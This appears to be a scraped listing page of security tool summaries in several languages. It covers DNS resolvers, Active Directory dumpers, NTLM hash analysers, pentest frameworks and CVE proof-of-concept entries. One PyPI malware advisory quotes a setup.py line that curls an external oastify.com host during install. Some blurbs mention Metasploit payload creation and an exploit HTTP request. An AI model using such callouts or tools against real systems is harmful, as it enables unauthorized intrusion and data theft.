zdns

ZDNS ZDNS es un resolvedor DNS de alta velocidad y una utilidad de línea de comandos para realizar mediciones DNS a gran escala. ZDNS está escrito en Go y contiene su propio código de resolución recursiva y una caché optimizada para realizar consultas de un conjunto diverso de nombres. Usamos...

knowsmore

Knows More KnowsMore officially supports Python 3.8+. Main features Import NTLM Hashes from .ntds output txt file generated by CrackMapExec or secretsdump.py Import NTLM Hashes from NTDS.dit and SYSTEM Import Cracked NTLM hashes from hashcat output file Import BloodHound ZIP or JSON file BloodHou...

knowsmore

KnowsMore KnowsMore 官方支持 Python 3.8+。 主要特性 从 .ntds 输出文本文件（由 CrackMapExec 或 secretsdump.py 生成）导入 NTLM 哈希 从 NTDS.dit 和 SYSTEM 文件导入 NTLM 哈希 从 hashcat 输出文件导入已破解的 NTLM 哈希 导入 BloodHound ZIP 或 JSON 文件 BloodHound 导入器（将 JSON 导入 Neo4J，无需 BloodHound UI） 分析密码质量（长度、小写字母、大写字母、数字、特殊字符和拉丁字符） 分析密码与公司名称、用户名的相似度...

hakkuframework

Hakku Framework Hakku is a simple framework that is made for penetration testing tools. Hakku framework has a simple structure, basic CLI, and useful features for penetration testing modules development. Getting started Use the "help" command to see all available commands. Here is a video if you...

Network-Analysis-Tools

Herramienta de Análisis de Archivos de Captura Pcap v.1 root@kitploit: !CONTACT! | Email: [email protected] | | Github: github/azizaltuntas | | Twitter: @esccopyright | Características root@kitploit: 1-Top 10 Visited Sites 2-Emails 3-All Request Urls 4-User-Agents List 5-String Grep Mode...

CVE-2020-25637-libvirt-double-free

root@kitploit: CVE-2020-25637 root@kitploit: Descripción Se produjo un problema de doble liberación de memoria en la API libvirt, en versiones anteriores a la versión 6.8.0, encargada de solicitar información sobre las interfaces de red de un dominio QEMU en ejecución. Esta falla afecta al...

discover

root@kitploit: Custom bash scripts used to automate various penetration testing tasks including recon, scanning, enumeration, and malicious payload creation using Metasploit. For use with Kali Linux or Ubuntu. Lee Baird @discoverscripts Jay "L1ghtn1ng" Townsend @jaytownsend1 Jason Ashton @ninewir...

discover

root@kitploit: Custom bash scripts used to automate various penetration testing tasks including recon, scanning, enumeration, and malicious payload creation using Metasploit. For use with Kali Linux or Ubuntu. Lee Baird @discoverscripts Jay "L1ghtn1ng" Townsend @jaytownsend1 Jason Ashton @ninewir...

reachability

-- START DISCLAIMER -- USE AT OWN RISK -- IN NO WAY AM I RESPONSIBLE FOR ANY DAMAGES INCURRED -- IF YOU DON'T HAVE EXPLICT PERMISSION BY THE NETWORK OWNER DO NOT AND I REPEAT DO NOT LAUNCH THIS THIS IS PYTHON WRAPPED AROUND MASSCAN https://github.com/robertdavidgraham/masscan -- END DISCLAIMER--...

openwrt

El proyecto OpenWrt es un sistema operativo Linux dirigido a dispositivos integrados. En lugar de intentar crear un firmware único y estático, OpenWrt proporciona un sistema de archivos completamente escribible con gestión de paquetes. Esto te libera de la selección y configuración de aplicacione...

MAL-2026-16269 Malicious code in requests-asetwe (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c0316bf059751a9ece4fb034e225276529692338dc671ad9929e16faf8c843d5 setup.py of requests-asetwe unconditionally executes os.system'curl -s https://w5223hr2yr968bhwql8bv5n8ozuqih66.oastify.com' during pip install. The...

Malicious code in requests-asetwe (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c0316bf059751a9ece4fb034e225276529692338dc671ad9929e16faf8c843d5 setup.py of requests-asetwe unconditionally executes os.system'curl -s https://w5223hr2yr968bhwql8bv5n8ozuqih66.oastify.com' during pip install. The...

CVE-2020-15778-SCP-Command-Injection-Check

CVE-2020-15778 – Vulnerabilidad de Inyección de Comandos en OpenSSH SCP Script de Detección Acerca de CVE-2020-15778 es una vulnerabilidad de inyección de comandos descubierta en la utilidad scp proporcionada por OpenSSH versiones ≤ 8.3p1. El problema permite a un atacante ejecutar comandos...

StegoForge

🛡️ StegoForge La combinación definitiva de esteganografía, forense digital y comunicaciones encubiertas. ⚡ Inicio Rápido Ejecutables Autónomos StegoForge es un framework Python complejo, pero no deberías tener que lidiar con entornos rotos cuando haces forense activo. Hemos compilado ejecutables...

CVE-2020-0618

CVE-2020-0618 RCE en SQL Server Reporting Services CVE-2020-0618 Verificación de vulnerabilidad POC Se puede enviar la siguiente solicitud HTTP al servidor para explotar la aplicación: root@kitploit: POST /ReportServer/pages/ReportViewer.aspx HTTP/1.1 Host: target Content-Type:...

MacDirtyCow

MacDirtyCow Example of CVE-2022-46689 aka MacDirtyCow. What? MacDirtyCow is a privilege escalation vulnerability in macOS, similar to the Dirty COW vulnerability in Linux. The vulnerability resides in the copy-on-write COW mechanism used by macOS's XNU kernel. The vulnerability allows an attacker...

ldapdomaindump

LDAPDomainDump Volcador de información de Active Directory a través de LDAP Introducción En un dominio de Active Directory, cualquier usuario autenticado o máquina puede recuperar mucha información interesante a través de LDAP. Esto convierte a LDAP en un protocolo interesante para recopilar...

ldapdomaindump

LDAPDomainDump Active Directory information dumper via LDAP Introduction In an Active Directory domain, a lot of interesting information can be retrieved via LDAP by any authenticated user or machine. This makes LDAP an interesting protocol for gathering information in the recon phase of a pentes...

wholeaked

Introduction root@kitploit: , ,' ', Utku Sen's |,-' wholeaked /c '\ ' |' -. "When you have eliminated the impossible, /-' \ whatever remains, however improbable, /'-'\ must be the truth" - Sherlock Holmes ' \ wholeaked is a file-sharing tool that allows you to find the responsible person in case...

wholeaked

简介 root@kitploit: , ,' ', Utku Sen's |,-' wholeaked /c '\ ' |' -. "当你排除了所有不可能的情况，剩下的， /-' \ 无论多么不可能，都必定是真相" - 夏洛克·福尔摩斯 /'-'\ ' \ wholeaked 是一个文件共享工具，可以在发生泄露时找到责任人。它使用 Go 语言编写。 原理？ wholeaked 获取将要共享的文件和接收者列表。它为每个接收者创建一个唯一的签名，并将其秘密添加到文件中。之后，它可以通过 Sendgrid、AWS SES 或 SMTP...